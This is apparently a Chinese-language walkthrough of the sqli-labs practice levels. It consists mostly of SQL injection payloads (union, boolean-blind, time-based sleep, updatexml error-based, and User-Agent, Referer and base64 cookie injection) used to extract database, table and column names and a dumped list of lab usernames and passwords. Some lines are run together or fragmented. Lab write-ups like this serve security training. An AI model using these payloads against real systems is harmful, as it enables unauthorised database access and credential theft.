?id=1")order by 3--+ ?id=-1") union select 1,2,database()--+ ?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema =database()--+ ?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users'--+ ?id=-1") union select 1,2,group_concat(id,',',username,',',password) from users--+
?id=1' and ascii(substr((select database()),1,1))=115--+ #substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii码,这样我们可以很好确定数字根据数字找到对应的字符。 ?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>=29--+ #判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+ #逐一判断表名 ?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() where table_name='users'))>20--+ #判断所有字段名的长度 ?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+ #逐一判断字段名。 ?id=1'and length((select group_concat(username,password) from users))>109--+ 判断字段内容长度 ?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+ #逐一检测内容。
?id=1' and if(1=1,sleep(5),1)--+ 判断参数构造。 ?id=1'and if(length((select database()))>9,sleep(5),1)--+ 判断数据库名长度 ?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ 逐一判断数据库字符 ?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+ 判断所有表名长度 ?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+ 逐一判断表名 ?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+ 判断所有字段名的长度 ?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+ 逐一判断字段名。 ?id=1'and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+ 判断字段内容长度 ?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+ 逐一检测内容。
less-10
与less-9的区别是10是双引号注入
时间盲注的重点在if(a,b,c)中构造判断的语句a
less-11
这里的注释需要使用#
1 2 3 4 5 6 7 8 9 10 11
输入'发现报错 输入1'可以判断SQL语句为单引号闭合的两个参数传递
1' order by3# --依次判断出查询字段数
1' union select 1,database()# --查询到数据库名
其他步骤就跟1-5的一样了,最终获取到用户账号和密码信息 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
less-12
通过输入判断出这里是双引号+括号闭合
1 2
1") union select1,group_concat(id,',',username,',',password) from users# #获取到用户账号和密码
#判断回显位 uname=admin')and 1=2 union select 1,2 --+&passwd=admin&submit=Submit 发现没有显位
#有报错,使用报错注入 库名 uname=admin') and updatexml(1,concat(0x7E,(database()),0x7E),1)--+&passwd=admin&submit=Submit 表名 1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=(database())),0x7e),1)# 列名--这里由于报错显示不完整,所以使用Mid函数来遍历查询结果直到获取所有的结果,表名也类似 1') and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),1,10),0x7e),1)# 用户和密码 1') and updatexml(1,concat(0x7e,mid((select group_concat(username,',',password) from users),21,20),0x7e),1)#
less-14
跟13一样,判断出来是双引号注入
其他步骤同13
1 2 3 4 5 6 7 8 9 10 11 12
爆库名 1" and updatexml(1,concat(0x7e,database(),0x7e),1)# 表明 1" and updatexml(1,concat(0x7e,mid((select group_concat(table_name) from information_schema.tableswhere table_schema=(database())),55,20),0x7e),1)# ~emails,referers,uagents,users~ 列名 1" and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),80,20),0x7e),1)# ~USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password~ 账号和密码 1" and updatexml(1,concat(0x7e,mid((select group_concat(username,',',password) from users),181,20),0x7e),1)# ~Dumb,,Angelina,I-kill-you,Dummy,p@ssword,secure,crappy,stupid,stupidity,superman,genious,batman,mob!le,admin,admin,admin1,admin1,admin2,admin2,admin3,admin3, dhakkan,dumbo,admin4,admin4~
less-15
判断出是‘闭合,没有报错提醒,只有登录成功和登录失败,因此使用布尔盲注
这里需要注意的是,and 两端的语句都为真,即admin’ and 1=1#才成立,前面的用户名不能为任意字符,因此使用or,虽然用户名不知,但是之后or后面的语句条件成立,则登录成功–逐渐爆破吧,是个体力活
1 2 3
1' or length(database())>7 1'or ascii(substr((select group_concat(table_name) from information_schema.tableswhere table_schema=(database())),1,1))>100#
库名 User-Agent:’ and updatexml(1,concat(0x7E,(database()),0x7E),1) and ‘1’=’1 表名 User-Agent:’ and updatexml(1,concat(0x7E,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7E),1) and ‘1’=’1 列名 User-Agent:’ and updatexml(1,concat(0x7E,(select group_concat(column_name) from information_schema.columns where table_name=’users’),0x7E),1) and ‘1’=’1 用户 User-Agent:’ and updatexml(1,concat(0x7E,(select group_concat(username) from users)
less-19
referer注入
1、判断注入点
登录成功后,User Agent回显,并且加’报错,判断注入点在User Agent
2、判断闭合符 ‘
User-Agent: ‘ and ‘1’=’1 3、获取数据
库名 User-Agent:’ and updatexml(1,concat(0x7E,(database()),0x7E),1) and ‘1’=’1 表名 User-Agent:’ and updatexml(1,concat(0x7E,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7E),1) and ‘1’=’1 列名 User-Agent:’ and updatexml(1,concat(0x7E,(select group_concat(column_name) from information_schema.columns where table_name=’users’),0x7E),1) and ‘1’=’1 用户 User-Agent:’ and updatexml(1,concat(0x7E,(select group_concat(username) from users),0x7E),1) and ‘1’=’1
1') union select 1,2,database()# Cookie: uname=MScpIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM= 查询数据库名 1') unionselect1,2,group_concat(table_name) from information_schema.tableswhere table_schema=(database())# Cookie: uname=MScpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9KGRhdGFiYXNlKCkpIw== 查询表名
1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'# MScpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J3VzZXJzJyM= 查询列名 1') unionselect1,2,group_concat(id,',',username,',',password) from users# MScpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGlkLCcsJyx1c2VybmFtZSwnLCcscGFzc3dvcmQpIGZyb20gdXNlcnMj 获取账户名和密码
查询语句如下,括号内由于id是一个永真式,不影响查询结果 $sql="SELECT * FROM users WHERE id=('1'and'1'='1') LIMIT0,1"; $sql="SELECT * FROM users WHERE id=('2'and'1'='1') LIMIT0,1";